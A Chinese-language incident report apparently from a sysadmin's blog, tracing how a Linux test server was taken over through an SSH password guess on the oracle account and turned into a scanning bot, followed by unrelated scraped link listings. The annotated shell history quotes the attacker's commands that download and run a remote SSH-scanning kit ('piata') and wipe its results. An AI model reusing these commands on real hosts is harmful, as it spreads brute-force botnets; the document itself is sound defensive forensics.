Linuxserver沦陷为肉鸡的全过程实录

1 从防火墙瘫痪说起

2015年3月10日,还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢。无法正常浏览网页。急急忙忙感到公司,開始查找问题。

首先排除了交换机故障,由于内部局域网正常。当ping防火墙设备时,丢包严重。非常明显,防火墙出了问题,撑不住了。其Web管理界面根本无法正常登陆。马上联系其服务商远程查找问题,经过近3个小时的分析,得出结论是网内有两台主机大量发送TCP数据包,瞬间就能在防火墙上造成40万链接数。大大超出了防火墙的处理能力,造成无法响应正常路由请求。我们暂且称这两台机器为AB。把这两台机器断线之后。网路立马正常了。防火墙上的链接数非常快减少到正常水平。

主机A配置例如以下:

  • OS - RedHat Enterprise Linux Server release 6.3
  • 部署软件 - Tomcat,sshd, oracle
  • RAM - 4GB
  • CPU - Intel Core i3-2130
  • IP地址 - 172.16.35.201(对外映射为59.46.161.39)

主机B为客户托管主机。详细配置不详。

本文仅仅对主机A进行分析处理。

通过防火墙命令行界面。抓包发现A机器疯狂对一组IP地址进行22port扫描。以下是抓包结果片段:

proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0

能够清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22port。

2 查找黑客行踪的方法

对于Linux主机,出现故障后分析和处理的根据主要是日志。

/var/log/messages、/var/log/secure都是不可缺少的分析目标。然后就是.bash_history命令记录。

黑客登录主机必定会在日志中留下记录,高级黑客或许能够删除痕迹。但眼下大部分黑客都是利用现成工具的黑心者,并无太多技术背景。

该主机对外开放三个TCP侦听port:

  • 22 sshd
  • 80 Tomcat
  • 1521 Oracle

这三个服务都有可能存在漏洞而被攻击。最easy被扫描攻击的还是sshdusernamepassword被破解。所以最先分析 /var/log/secure日志,看登录历史。

3 沦陷过程分析

3.1 oracle用户password被破解

分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件。每一个文件都记录了大量尝试登录的情况。执行命令:

cat secure-20150317 | grep 'Failed password' | cut -d " " -f 9,10,11 | sort | uniq

得到

invalid user admin

invalid user dacx

invalid user details3

invalid user drishti

invalid user ferreluque

invalid user git

invalid user hall

invalid user jparksu

invalid user last

invalid user patrol

invalid user paul

invalid user pgadmin

invalid user postgres

invalid user public

invalid user sauser

invalid user siginspect

invalid user sql

invalid user support

invalid user sys

invalid user sysadmin

invalid user system

invalid user taz

invalid user test

invalid user tiptop

invalid user txl5460

invalid user ubnt

invalid user www

mysql from 10.10.10.1

oracle from 10.10.10.1

root from 10.10.10.1

能够看出攻击程序不断採用不同的账户和password进行尝试。

然后在接近尾部的地方发现例如以下2行,说明被攻破了。

Mar  9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2
Mar 9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

可见账户oracle的password被猜中,并成功登入系统。

3.2 黑客动作推演

以下看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止兴许操作丢失该记录。

cp /home/oracle/.bash_history hacker_history

然后查看分析这个文件。 我在后面备注了黑客的想法。

    1  vi  .bash_profile
2 vi .bash_profile (查看.bash_profile,看变量设置,把/home/oracle/bin添加到PATH)
3 ll
4 cd /
5 vi .bash_profile
6 vi .bash_profile (执行。环境变量设置)
7 w
8 ps x (查看系统执行进程)
9 free -m (查看内存大小)
10 uname -a (查看系统版本号)
11 cat /etc/issue (查看系统发行版)
12 cat /etc/hosts (查看是否有网内机器)
13 cat /proc/cpuinfo (查看CPU型号)
14 cat .bash_history (查看oracle账户历史操作)
15 w (查看系统负载)
16 ls -a (查看/home/oracle/下的隐藏文件)
17 passwd (改动掉oracle账户的password)
18 exit
19 ls
20 oracle
21 sqlplus (执行sqlplus)
22 su (试图切换到root账户)
23 app1123456 (推測rootpassword)
24 ls
25 su -
26 w
27 free -m
28 php -v (查看php版本号)
29 exit
30 w
31 free -m
32 php -v
33 ps aux
34 ls -a
35 exit
36 w
37 free -m
38 php -v
39 cat bash_his (查看历史命令)
40 cat bash_history
41 cat .bash_history
42 wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包)
43 tar zxvf piata.tgz (解压软件包)
44 rm -rf piata.tgz (删除软件包)
45 cd piata/ (切换到攻击软件文件夹)
46 ls -a
47 chmod +x *
48 ./a 210.212 (执行攻击软件)
49 screen (试图执行screen命令,发现没有后下载它)
50 ls -a
51 wget scriptcoders.ucoz.com/screen.tgz
52 tar zxvf screen.tgz (解压)
53 ./screen
54 exit
55 w
56 ps x
57 cd piata/ (切换到攻击软件文件夹)
58 ls -a
59 cat vuln.txt (查看攻击结果)
60 ls -a
61 mv vuln.txt 1.txt (保存攻击结果)
62 ./screen -r
63 nano 1.txt (查看结果文件)
64 w
65 ps x
66 exit
67 cd piata
68 ps x
69 ls -a
70 nano 2.txt
71 exit
72 w
73 ps x
74 cd piata/
75 ls -a
76 cat
77 mv vuln.txt 2.txt (保存结果)
78 nano 2.txt
79 w
80 ps x
81 cd piata/
82 ls- a
83 cat vuln.txt
84 rm -rf vuln.txt
85 ./screen -r
86 exit
87 w
88 ps x
89 cd piata/
90 ls -a
91 cat vuln.txt
92 ls -a
93 mv vuln.txt 3.txt (保存结果)
94 nano 3.txt
95 exit
96 w
97 ps x
98 cd piata/
99 ls -a
100 cat vuln.txt
101 rm -rf vuln.txt
102 exit
103 w
104 ps x
105 cd piata/
106 ls -a
107 cat vuln.txt
108 rm -rf vuln.txt
109 rm -rf 1.txt
110 rm -rf 2.txt
111 rm -rf 2.txt.save
112 rm -rf 3.txt
113 screen -r
114 ./screen -r
115 exit
116 w
117 ps x
118 cd piata/
119 ls -a
120 cat vuln.txt
121 ls -a
122 nano vuln.txt
123 rm -rf vuln.txt
124 screen -r
125 ./screen -r
126 exit
127 w
128 ps x
129 cd piata/
130 ls -a
131 cat vuln.txt
132 nano vuln.txt
133 w
134 ls -a
135 rm -rf vuln.txt
136 screen -r
137 ./screen -r
138 exit
139 w
140 ps x
141 cd piata/
142 ls -a
143 cat vuln.txt
144 rm -rf vuln.txt
145 ps x
146 ls -a
147 ./screen -r
148 exit
149 w
150 ps x
151 cd piata/
152 ls -a
153 cat vuln.txt
154 nano vuln.txt
155 w
156 rm -rf vuln.txt
157 ./screen -r
158 exit

3.3 攻击工具一览

前面通过命令历史记录。能够看出攻击工具软件包为名为piata。

下载来看看它的面目。

[root@localhost piata]# ll
total 1708
-rw-r--r--. 1 oracle oinstall 0 Mar 10 13:01 183.63.pscan.22
-rwxr-xr-x. 1 oracle oinstall 659 Feb 2 2008 a
-rwxr-xr-x. 1 oracle oinstall 216 May 18 2005 auto
-rwxr-xr-x. 1 oracle oinstall 283 Nov 25 2004 gen-pass.sh
-rwxr-xr-x. 1 oracle oinstall 93 Apr 19 2005 go.sh
-rwxr-xr-x. 1 oracle oinstall 3253 Mar 5 2007 mass
-rwxr-xr-x. 1 oracle oinstall 12671 May 18 2008 pass_file
-rwxr-xr-x. 1 oracle oinstall 21407 Jul 22 2004 pscan2
-rwxr-xr-x. 1 oracle oinstall 249980 Feb 13 2001 screen
-rw-r--r--. 1 oracle oinstall 130892 Feb 3 2010 screen.tgz
-rwxr-xr-x. 1 oracle oinstall 453972 Jul 13 2004 ss
-rwxr-xr-x. 1 oracle oinstall 842736 Nov 24 2004 ssh-scan
-rw-r--r--. 1 oracle oinstall 2392 Mar 10 05:03 vuln.txt

当中 a, auto, go.sh gen-pass.sh, 都是bash脚本文件,用于配置扫描网段。调用扫描程序。pscan2和ssh-scan则为扫描程序。 vuln.txt记录获得的肉鸡列表。

眼下尚未发现其它系统文件被黑客改动。也没有自己主动执行攻击软件的设置。

4 深刻教训

尽管这次被攻击的机器仅仅是一个測试主机,其本身的重要性并不高,但却造成了防火墙的瘫痪,进而造成互联网不能正常訪问。对此,必须引起足够重视,并从中汲取教训。

  • 系统账户password一定要有一定的复杂度。

    这次攻击就是由于oracle账户password过于简单所致。

  • sshd採用password方式登录风险非常大。特别是password简单的时候。可行的情况下,尽量关闭password方式,改用公钥方式。

  • 作为数据中心管理员,一定要监督监管系统管理员和软件开发商的服务安全,本次被攻击主机就是把全部权限都放给了站点开发公司,而开发公司对运营安全并不重视。

上面是主机A的情况,主机B为我司托管的客户主机,我没有管理权限,眼下正在等他们的检查改动报告。

Linuxserver沦陷为肉鸡的全过程实录的更多相关文章

  1. Linux服务器沦陷为肉鸡的全过程实录

    1 从防火墙瘫痪说起 2015年3月10日,还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢,无法正常浏览网页.急急忙忙感到公司,开始查找问题. 首先排除了交换机故障,因为内部局域网正常. ...

  2. 笔记本用HDMI、VGA连接高清电视全过程实录2——各种问题

    内容中包含 base64string 图片造成字符过多,拒绝显示

  3. GDAL切割重采样遥感图像

    一个小测试程序开发全过程实录,完全新手入门级的实例,如果你还在为处理大影像而发愁,来试试这个称手的工具吧. Imagec 开发日记 2013-6-25 需求: 影像数据切割,重采样 数据切割的要求是简 ...

  4. 基于源码编译安装openssh

     最近的,openssl/openssh等相继漏洞的暴露,让暴露在公网的linux.沦陷为肉鸡的正营... 没办法,还是升级版本... 00.openssh简介 OpenSSH 是一组安全远程的连接工 ...

  5. ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

    2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞.阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析.现在,对于 ...

  6. Linux安装elasticsearch5全过程(踩坑实录)

    Linux版本Centos elasticsearch版本:5.5 1.下载elasticsearch https://artifacts.elastic.co/downloads/elasticse ...

  7. HDU-SupportOrNot训练实录

    菜鸡队训练实录. 现场赛记录: 2016:[名称:奖项/排名] ZJPSC:Gold/1 CCPC中南邀请赛:Gold/1 ICPC Dalian:Gold/24 ICPC Beijing:Gold/ ...

  8. Ubuntu14.04 Django Mysql安装部署全过程

    Ubuntu14.04 Django Mysql安装部署全过程   一.简要步骤.(阿里云Ubuntu14.04) Python安装 Django Mysql的安装与配置 记录一下我的部署过程,也方便 ...

  9. 测试Oracle 11gr2 RAC 非归档模式下,offline drop数据文件后的数据库的停止与启动测试全过程

    测试Oracle 11gr2 RAC 非归档模式下,offline drop数据文件后的数据库的停止与启动测试全过程 最近系统出现问题,由于数据库产生的日志量太大无法开启归档模式,导致offline的 ...

随机推荐

  1. 自学php【一】 任务:图片上传即时可见

    工作已经快2周了,头儿给派了个任务做个企业站!这几天正在紧锣密鼓的作战中!等忙完了这个活!写下自己的学习心得体会!与看到文章的您一起分享! 在这里记录每次遇到的难题,如何解决的! 今天要做的功能就是实 ...

  2. (转)淘淘商城系列——Solr的安装

    http://blog.csdn.net/yerenyuan_pku/article/details/72874134 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service ...

  3. 手机端h5复制功能

    html: <a href="javascript:;" id="copyBtn" class="f-r tac" data-clip ...

  4. Appium 的xpath定位

    Appium 的xpath定位 1.如果元素text是唯一的,可以通过text文本定位 //*[@text=’text文本属性’] # 定位text driver.find_element_by_xp ...

  5. C: 字符数组中的空去掉

    #include <stdio.h> #include <string.h> int main() { char a[50] = "nearby! "; i ...

  6. 09js、MySQL相关

    09js.MySQL相关-2018/07/19 1.js的dom 理解一下文档对象模型:html文件加载到内存之后会形成一颗dom树,根据这些节点对象可以进行脚本代码的动态修改;在dom树当中 一切皆 ...

  7. Fleecing the Raffle(NCPC 2016 暴力求解)

    题目: A tremendously exciting raffle is being held, with some tremendously exciting prizes being given ...

  8. Linux—Ubuntu14.0.5配置JAVA环境

    1. 前往ORACLE官网下载最新版本的Java JDK:http://www.oracle.com/technetwork/java/javase/downloads/index.html,默认下载 ...

  9. * screen recording on Ubuntu

    - byzanz- kazam-recordmydesktophttps://www.ubuntupit.com/15-best-linux-screen-recorder-and-how-to-in ...

  10. C语言基础--数据

    c语言中数据: 在8位单片机种最常用的数据类型就是: unsigned char: 无符号字符型,位宽1个字节,8个位,表示的范围0~255(2^8-1) 在32位单片机中最常用的数据类型就是: un ...